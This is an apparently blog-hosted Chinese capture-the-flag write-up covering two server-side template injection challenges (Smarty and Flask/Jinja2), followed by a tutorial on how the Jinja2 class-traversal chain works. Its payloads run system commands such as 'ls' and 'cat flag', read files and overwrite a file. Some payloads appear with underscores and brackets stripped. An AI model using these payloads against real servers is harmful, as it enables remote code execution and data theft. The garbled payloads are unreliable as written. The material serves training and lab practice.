【无标题】

1.HDCTF 2023SearchMaster

他说模板都一样,可能有模板注入,再看后面POST传一个data参数

尝试传参

传1的时候显示1,可能有SSTI注入漏洞,测试一下{{7*7}}

成功的执行了,说明存在SSTI漏洞,但是是什么模板还需要再判断

{{config}}渲染函数看一下

报错了,看报错内容,smarty模板

所以这题是smarty模板的SSTI注入漏洞

尝试命令执行,

构造{{system('ls /')}}查看根目录下的文件

可以看到有一个flag字样的文件,cat命令打开

{{system('cat /flag_13_searchmaster')}}

得到flag

2.HNCTF 2022 WEEK2ez_SSTI

还是SSTI注入,但是看了很久没有参数,可能需要爆参数

参数是name,当然也可以用fuzz

传参:?name={{7*7}}

确实是SSTI模板注入漏洞

config渲染函数看一下

出来了这些东西,看不懂不要紧,搜索看一下

可以看到是flask模板

{{"".class.bases0.subclasses()}}

遍历子目录

可以看到有非常多的函数,但哪个可以使用还需要测试,最终

构造?name={{config.class.init.globals'os'.popen('ls').read()}}

读取读取目录下的文件

再用cat命令读取flag,构造

?name={{config.class.init.globals'os'.popen('cat flag').read()}}

sstiFLASK模板可以看作者给的这个https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#python

总结两个模板,smarty模板和FLASK模板

Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。

Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。

一般情况下输入{$smarty.version}就可以看到返回的smarty的版本号。

Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但是在smarty3中表明:Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。不做过多的描述。

Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}*

{}标签

直接输入php命令例如:{system("ls")}

以下是SSTI注入的常规方法。

可以执行的话箭头是往上走,不可以执行就是往下走,如此便可以判断方法。

FLASK模板

一、flask是用python编写的一个轻量web开发框架

二、flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入。

三、flask基础知识:

class 子类

object 父类

object是父子关系的顶端,所有的数据类型最终都是父类object

子类可以调用父类下的其他子类,也就是我做不到的事情找我的父类,我的父类会找能做这件事的子类帮我把这件事做了。

__class__看当前类。假设是A

class.__base__看当前类A的父类B,假设是B

class.base.__base__看B的父类,,,属于层层递进

class.__mor__罗列所有的父类关系

__subclasses__可以调用父类下面的其他子类

init(初始化方法),globals(访问全局变量,字典),通过popen,以及read方法来进行系统命令执行

print('abc'.class.base.subclasses__()41.init.globals'os'('fl4g').read())

{{''.class.mro2.subclasses()71.init.globals'os'.listdir('.')}}

__builtins__下的open进行文件的读取:

{{''.class.mro1.subclasses()134.init.globals'__builtins__''open'('1.txt').read())}}

通过write() 方式修改文件内容

{{''.class.mro1.subclasses()41.init.globals'__builtins__''open'('1.txt','w').write('123456')}}

小结:

class 返回类型所属的对象

mro 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

base 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的

subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

init 类的初始化方法

globals 对包含函数全局变量的字典的引用

注意{{''.class}},这个payload的单引号可以换成"" \[\] ()

因为不管他包裹的是什么子类,最终返回的父类都是同一个的。

这样在有些地方被过滤了就可以替换。

__subclasses__后面要跟括号,这样才能被认为是一个函数来被执行.

相关推荐
各类产品分享5 小时前
化工园区做AR安全巡检推荐哪家供应商
安全·ar·ar智慧运维解决方案
米瑞格门窗5 小时前
上海系统门窗哪个靠谱
大数据·人工智能·安全·家装·家装建材·系统门窗
Nuoyunjituan6 小时前
IPv6单栈、智能体互联、安全合规全面升级——互联网“新底座”政策对企业意味着什么?
安全
Chengbei116 小时前
云存储桶漏洞检测工具OSS-2.0更新,全类型文件解析,存储桶遍历 + 敏感排查一站式完成渗透取证
网络·安全·web安全·网络安全·xss
阿虎儿7 小时前
Linux 下为局域网 IP(如 192.168.1.100)打造不受浏览器警告的自签名 SSL/TLS 证书
linux·安全·https
JackSparrow4148 小时前
前端安全之JS混淆+请求加密+请求签名以提升爬虫难度
前端·javascript·后端·爬虫·python·安全
鹿鸣天涯8 小时前
应急响应:MySQL日志分析
mysql·安全·adb·oracle
砚凝霜8 小时前
软考网络工程师|第 4 章 WLAN MAC 机制、Ad Hoc、无线安全、WPAN 蓝牙 ZigBee 完整备考笔记
网络·笔记·安全
奇迹暖暖暖19 小时前
企业邮箱选型与部署:公司用什么邮箱比较好、如何注册企业邮箱
安全·架构·邮箱
Privasa-隐私实验室21 小时前
全程无死角安全测评|从开机上锁、硬核加密到彻底销毁,Privasa 全生命周期隐私防护详解
笔记·安全·本地存储·隐私安全·aes-256